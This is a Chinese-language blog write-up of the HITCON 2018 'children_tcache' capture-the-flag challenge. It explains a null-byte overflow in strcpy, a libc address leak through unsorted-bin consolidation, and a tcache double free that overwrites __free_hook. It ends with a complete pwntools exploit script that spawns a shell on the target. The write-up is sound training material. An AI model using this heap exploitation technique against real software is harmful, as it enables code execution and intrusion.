Limu
Articles10
Tags3
Categories0
hitcon_2018_children_tcache

hitcon_2018_children_tcache

hitcon_2018_children_tcache

题目分析

题目保护全开,不能修改got表,需要计算泄露libc地址。

保护情况

部分 RELRO: 在程序装入后,将其中一段 (如.dynamic) 标记为只读,防止程序的一些重定位信息被修改。
完全 RELRO: 在部分 RELRO 的基础上,在 程序装入时,直接解析完所有符号并填入对应的值,此时所有的 GOT 表项都已初始化,且不装入 link_map 与_dl_runtime_resolve 的地址 (二者都是程 序动态装载的重要结构和函数)。

运行题目,使用的libc-2.27的libc,有添加,删除,和打印的基础功能,且在strcpy处存在null_by_one的漏洞。

strcpy函数

思路分析

1、首先申请一个很大的chunk绕过tcache,再在后面申请两个chunk,修改第2个chunk的prev_size位和prev_inuse位。

2、free掉chunk2,这时会在unsortbin中对chunk0和chunk1、2进行合并,触发unlink,然后再把tache的chunk申请回来,这时chunk1就会存main_arean的地址,我们可以通过打印chunk1,泄露libc的基址。

3、利用double_free,对chunk2,free两次后,chunk2的fd会变成自己的chunk地址,然后第一个malloc,将fd位修改为free_hook的位置,然后,第二次malloc,会把堆指向free_hook的位置,第三次进行malloc,会修改free_hook的内容为system。

4、free掉chunk3,成功getshell。

排坑过程

1、首先是第0和chunk,我们需要申请超过0x410的大小,然后第二个chunk,因为只能修改一个字节,且又需要绕过tcache,所以需要申请0x4f0的大小,所以这个chunk2的大小会是0x501,这样就可以覆盖。

2、然后,修改chunk2的prev_size的位每次只能覆盖一个字节,所以需要写一个循环逐个字节覆盖。

3、在泄露libc的过程,我的本地和远程的偏移存在问题,本地的libc和远程的libc的main_arean的不同,而且相对偏移也有问题,本地的libc是0x3dac20 + 0x58的偏移,远程是 0x3ebc40 + 0x60,这里刚好差8个字节。

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# Author by: limu
# Terminal: i3
# Tools: pwntools
# Usage: python3 exp.py [local or remote] [yes or no] ip port

from pwn import *
from LibcSearcher import *
import sys
context.log_level = "debug"
context.terminal = ['i3-sensible-terminal', "-e"]
context.arch = 'amd64'
elf = ELF('./pwn')

if sys.argv[1] == 'l':
p = process("./pwn")

elif sys.argv[1] == 'r':
p = remote(sys.argv[3], sys.argv[4])

else:
print("wrong")
sys.exit()

# 启动调试
if sys.argv[2] == 'y':
gdb.attach(p, gdbscript='break main')
pause()

def add(size,content):
p.sendlineafter(b'Your choice: ', b'1')
p.sendlineafter(b'Size:', str(size).encode())
p.sendlineafter(b'Data:', content)

def free(index):
p.sendlineafter(b'Your choice: ', b'3')
p.sendlineafter(b'Index:', str(index).encode())

def show(index):
p.sendlineafter(b'Your choice: ', b'2')
p.sendlineafter(b'Index:', str(index).encode())

libc = ELF('/home/limu/Downloads/libc-2.27.so')
#libc = ELF('./libc.so.6')

add(0x410,b'aaaa')
add(0x88,b'bbbb')
add(0x4f0,b'cccc')
add(0x10,b'/bin/sh\x00')

free(1)
free(0)

for i in range(8):
add(0x88-i,b'A' * (0x88-i))
free(0)

add(0x88,b'a' * 0x80 + p64(0x4b0))
free(2)

add(0x410,b'p' * 0x419)
show(0)

#libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3dac20 - 0x58 #local
#libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3ebc40 - 0x58 ##buu test
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3ebc30 - 0x70

print(hex(libc_base))
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']

one = libc_base + 0x4f322 #buu
#one = libc_base + 0xfcc6e # local

add(0x88,b'a')
free(0)
free(2)

add(0x88,p64(free_hook))
add(0x88,p64(free_hook))
add(0x88,p64(one))

free(3)

p.interactive()
Author:Limu
Link:https://limu.ltd/2023/04/09/hitcon-2018-children-tcache/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可
×